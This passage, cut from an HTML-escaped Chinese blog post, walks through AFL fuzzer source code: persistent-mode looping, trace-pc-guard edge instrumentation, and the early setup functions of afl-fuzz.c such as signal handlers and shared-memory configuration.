printf(&quot;four\n&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            abort();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;*** END PLACEHOLDER CODE***&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* 循环结束，正常结束。AFL会重启进程，并清理内存、剩余fd等 *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  return 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;宏定义 &lt;code&gt;__AFL_LOOP&lt;&#x2F;code&gt; 内部调用 &lt;code&gt;__afl_persistent_loop&lt;&#x2F;code&gt; 函数：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;  cc_params[cc_par_cnt++] = &quot;-D__AFL_LOOP(_A)=&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &quot;({ static volatile char *_B __attribute__((used)); &quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &quot; _B = (char*)\&quot;&quot; PERSIST_SIG &quot;\&quot;; &quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#ifdef __APPLE__&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &quot;__attribute__((visibility(\&quot;default\&quot;))) &quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &quot;int _L(unsigned int) __asm__(\&quot;___afl_persistent_loop\&quot;); &quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#else&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &quot;__attribute__((visibility(\&quot;default\&quot;))) &quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &quot;int _L(unsigned int) __asm__(\&quot;__afl_persistent_loop\&quot;); &quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#endif &#x2F;* ^__APPLE__ *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &quot;_L(_A); })&quot;;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;code&gt;__afl_persistent_loop(unsigned int max_cnt)&lt;&#x2F;code&gt; 的逻辑如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;afl&#x2F;afl-persistent-loop-flow.png&quot; alt=&quot;https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;AlexsanderShaw&#x2F;BlogImages@main&#x2F;img&#x2F;vuln&#x2F;shebei20210907115818.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;结合源码梳理一下其逻辑：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;29&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;30&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;31&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;32&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;33&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;34&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;35&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;36&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;37&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;38&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;39&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;40&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;41&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;42&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;43&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;44&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;&#x2F;* A simplified persistent mode handler, used as explained in README.llvm. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;int __afl_persistent_loop(unsigned int max_cnt) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  static u8  first_pass = 1;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  static u32 cycle_cnt;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (first_pass) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (is_persistent) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      memset(__afl_area_ptr, 0, MAP_SIZE);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      __afl_area_ptr[0] = 1;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      __afl_prev_loc = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    cycle_cnt  = max_cnt;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    first_pass = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    return 1;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (is_persistent) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (--cycle_cnt) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      raise(SIGSTOP);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      __afl_area_ptr[0] = 1;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      __afl_prev_loc = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      return 1;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    } else {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      __afl_area_ptr = __afl_area_initial;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  return 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;首先判读是否为第一次执行循环，如果是第一次：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如果 &lt;code&gt;is_persistent&lt;&#x2F;code&gt; 为1，清空 &lt;code&gt;__afl_area_ptr&lt;&#x2F;code&gt;，设置 &lt;code&gt;__afl_area_ptr[0]&lt;&#x2F;code&gt; 为1，&lt;code&gt;__afl_prev_loc&lt;&#x2F;code&gt; 为0；&lt;&#x2F;li&gt;
&lt;li&gt;设置 &lt;code&gt;cycle_cnt&lt;&#x2F;code&gt; 的值为传入的 &lt;code&gt;max_cnt&lt;&#x2F;code&gt; 参数，然后设置 &lt;code&gt;first_pass=0&lt;&#x2F;code&gt; 表示初次循环结束，返回1；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果不是第一次执行循环，在 persistent mode 下，且 &lt;code&gt;--cycle_cnt&lt;&#x2F;code&gt; 大于1：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;发出信号 &lt;code&gt;SIGSTOP&lt;&#x2F;code&gt; 让当前进程暂停&lt;&#x2F;li&gt;
&lt;li&gt;设置 &lt;code&gt;__afl_area_ptr[0]&lt;&#x2F;code&gt; 为1，&lt;code&gt;__afl_prev_loc&lt;&#x2F;code&gt; 为0，然后直接返回1&lt;&#x2F;li&gt;
&lt;li&gt;如果 &lt;code&gt;cycle_cnt&lt;&#x2F;code&gt; 为0，设置&lt;code&gt;__afl_area_ptr&lt;&#x2F;code&gt;指向数组 &lt;code&gt;__afl_area_initial&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;最后返回0&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;重新总结一下上面的逻辑：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;第一次执行loop循环，进行初始化，然后返回1，此时满足 &lt;code&gt;while(__AFL_LOOP(1000)&lt;&#x2F;code&gt;， 于是执行一次fuzz，计数器cnt减1，抛出SIGSTOP信号暂停子进程；&lt;&#x2F;li&gt;
&lt;li&gt;第二次执行loop循环，恢复之前暂停的子进程继续执行，并设置 &lt;code&gt;child_stopped&lt;&#x2F;code&gt; 为0。此时相当于重新执行了一次程序，重新对 &lt;code&gt;__afl_prev_loc&lt;&#x2F;code&gt; 进行设置，随后返回1，再次进入 &lt;code&gt;while(_AFL_LOOP(1000))&lt;&#x2F;code&gt; ，执行一次fuzz，计数器cnt减1，抛出SIGSTOP信号暂停子进程；&lt;&#x2F;li&gt;
&lt;li&gt;第1000次执行，计数器cnt此时为0，不再暂停子进程，令 &lt;code&gt;__afl_area_ptr&lt;&#x2F;code&gt; 指向无关数组 &lt;code&gt;__afl_area_initial&lt;&#x2F;code&gt; ，随后子进程结束。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;该功能的使用需要设置宏 &lt;code&gt;AFL_TRACE_PC=1&lt;&#x2F;code&gt; ，然后再执行 &lt;code&gt;afl-clang-fast&lt;&#x2F;code&gt; 时传入参数 &lt;code&gt;-fsanitize-coverage=trace-pc-guard&lt;&#x2F;code&gt; 。&lt;&#x2F;p&gt;
&lt;p&gt;该功能的主要特点是会在每个edge插入桩代码，函数 &lt;code&gt;__sanitizer_cov_trace_pc_guard&lt;&#x2F;code&gt; 会在每个edge进行调用，该函数利用函数参数 &lt;code&gt;guard&lt;&#x2F;code&gt; 指针所指向的 &lt;code&gt;uint32&lt;&#x2F;code&gt; 值来确定共享内存上所对应的地址：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;void __sanitizer_cov_trace_pc_guard(uint32_t* guard) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  __afl_area_ptr[*guard]++;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;code&gt;guard&lt;&#x2F;code&gt; 的初始化位于函数 &lt;code&gt;__sanitizer_cov_trace_pc_guard_init&lt;&#x2F;code&gt; 中：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;void __sanitizer_cov_trace_pc_guard_init(uint32_t* start, uint32_t* stop) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u32 inst_ratio = 100;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u8* x;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (start == stop || *start) return;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  x = getenv(&quot;AFL_INST_RATIO&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (x) inst_ratio = atoi(x);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (!inst_ratio || inst_ratio &amp;gt; 100) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    fprintf(stderr, &quot;[-] ERROR: Invalid AFL_INST_RATIO (must be 1-100).\n&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    abort();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  *(start++) = R(MAP_SIZE - 1) + 1;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  while (start &amp;lt; stop) { &#x2F;&#x2F; 这里如果计算stop-start，就是程序里总计的edge数&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (R(100) &amp;lt; inst_ratio) *start = R(MAP_SIZE - 1) + 1;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    else *start = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    start++;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;AFL中最重要的部分便是fuzzer的实现部分——&lt;code&gt;afl_fuzz.c&lt;&#x2F;code&gt; ，其主要作用是通过不断变异测试用例来影响程序的执行路径。该文件代码量在8000行左右，处于篇幅原因，我们不会对每一个函数进行源码级分析，而是按照功能划分，介绍其中的核心函数。该文件属于AFL整个项目的核心中的核心，强烈建议通读该文件。&lt;&#x2F;p&gt;
&lt;p&gt;在介绍源码的同时，会穿插AFL的整体运行过程和设计思路，辅助理解源码的设计思路。&lt;&#x2F;p&gt;
&lt;p&gt;在功能上，可以总体上分为3部分：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;初始配置：进行fuzz环境配置相关工作&lt;&#x2F;li&gt;
&lt;li&gt;fuzz执行：fuzz的主循环过程&lt;&#x2F;li&gt;
&lt;li&gt;变异策略：测试用例的变异过程和方式&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;我们将按照以上3个功能对其中的关键函数和流程进行分析。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;while ((opt = getopt(argc, argv, &quot;+ifb:t:T:dnCB:S:M:x:QV&quot;)) &amp;gt; 0)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  ... ...&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;该循环主要通过 &lt;code&gt;getopt&lt;&#x2F;code&gt; 获取各种环境配置、选项参数等。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;1-2-setup-signal-handlers-han-shu&quot;&gt;1.2 setup_signal_handlers 函数&lt;&#x2F;h5&gt;
&lt;p&gt;调用 &lt;code&gt;sigaction&lt;&#x2F;code&gt; ，注册信号处理函数，设置信号句柄。具体的信号内容如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;信号&lt;&#x2F;th&gt;&lt;th&gt;作用&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;SIGHUP&#x2F;SIGINT&#x2F;SIGTERM&lt;&#x2F;td&gt;&lt;td&gt;处理各种“stop”情况&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;SIGALRM&lt;&#x2F;td&gt;&lt;td&gt;处理超时的情况&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;SIGWINCH&lt;&#x2F;td&gt;&lt;td&gt;处理窗口大小&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;SIGUSER1&lt;&#x2F;td&gt;&lt;td&gt;用户自定义信号，这里定义为skip request&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;SIGSTP&#x2F;SIGPIPE&lt;&#x2F;td&gt;&lt;td&gt;不是很重要的一些信号，可以不用关心&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;读取环境变量 &lt;code&gt;ASAN_OPTIONS&lt;&#x2F;code&gt; 和 &lt;code&gt;MSAN_OPTIONS&lt;&#x2F;code&gt;，做一些必要性检查。&lt;&#x2F;p&gt;
&lt;p&gt;如果通过 &lt;code&gt;-M&lt;&#x2F;code&gt;或者&lt;code&gt;-S&lt;&#x2F;code&gt;指定了 &lt;code&gt;sync_id&lt;&#x2F;code&gt;，则更新 &lt;code&gt;out_dir&lt;&#x2F;code&gt; 和 &lt;code&gt;sync_dir&lt;&#x2F;code&gt; 的值：设置 &lt;code&gt;sync_dir&lt;&#x2F;code&gt; 的值为 &lt;code&gt;out_dir&lt;&#x2F;code&gt;，设置 &lt;code&gt;out_dir&lt;&#x2F;code&gt; 的值为&lt;code&gt;out_dir&#x2F;sync_id&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;copy当前命令行参数，保存。&lt;&#x2F;p&gt;
&lt;p&gt;检查是否在tty终端上面运行：读取环境变量 &lt;code&gt;AFL_NO_UI&lt;&#x2F;code&gt; ，如果存在，设置 &lt;code&gt;not_on_tty&lt;&#x2F;code&gt; 为1，并返回；通过 &lt;code&gt;ioctl&lt;&#x2F;code&gt; 读取window size，如果报错为 &lt;code&gt;ENOTTY&lt;&#x2F;code&gt;，表示当前不在一个tty终端运行，设置 &lt;code&gt;not_on_tty&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;static void get_core_count(void)get_core_count() &lt;&#x2F;code&gt;：获取核心数量&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;check_crash_handling()&lt;&#x2F;code&gt;：确保核心转储不会进入程序&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;check_cpu_governor()&lt;&#x2F;code&gt;：检查CPU管理者&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;该函数用于设置共享内存和 &lt;code&gt;virgin_bits&lt;&#x2F;code&gt;，属于比较重要的函数，这里我们结合源码来解析一下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;29&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;30&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;31&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;32&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;33&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;34&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;35&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;36&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;37&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;&#x2F;* Configure shared memory and virgin_bits. This is called at startup. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;EXP_ST void setup_shm(void) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u8* shm_str;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; if (!in_bitmap) memset(virgin_bits, 255, MAP_SIZE);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  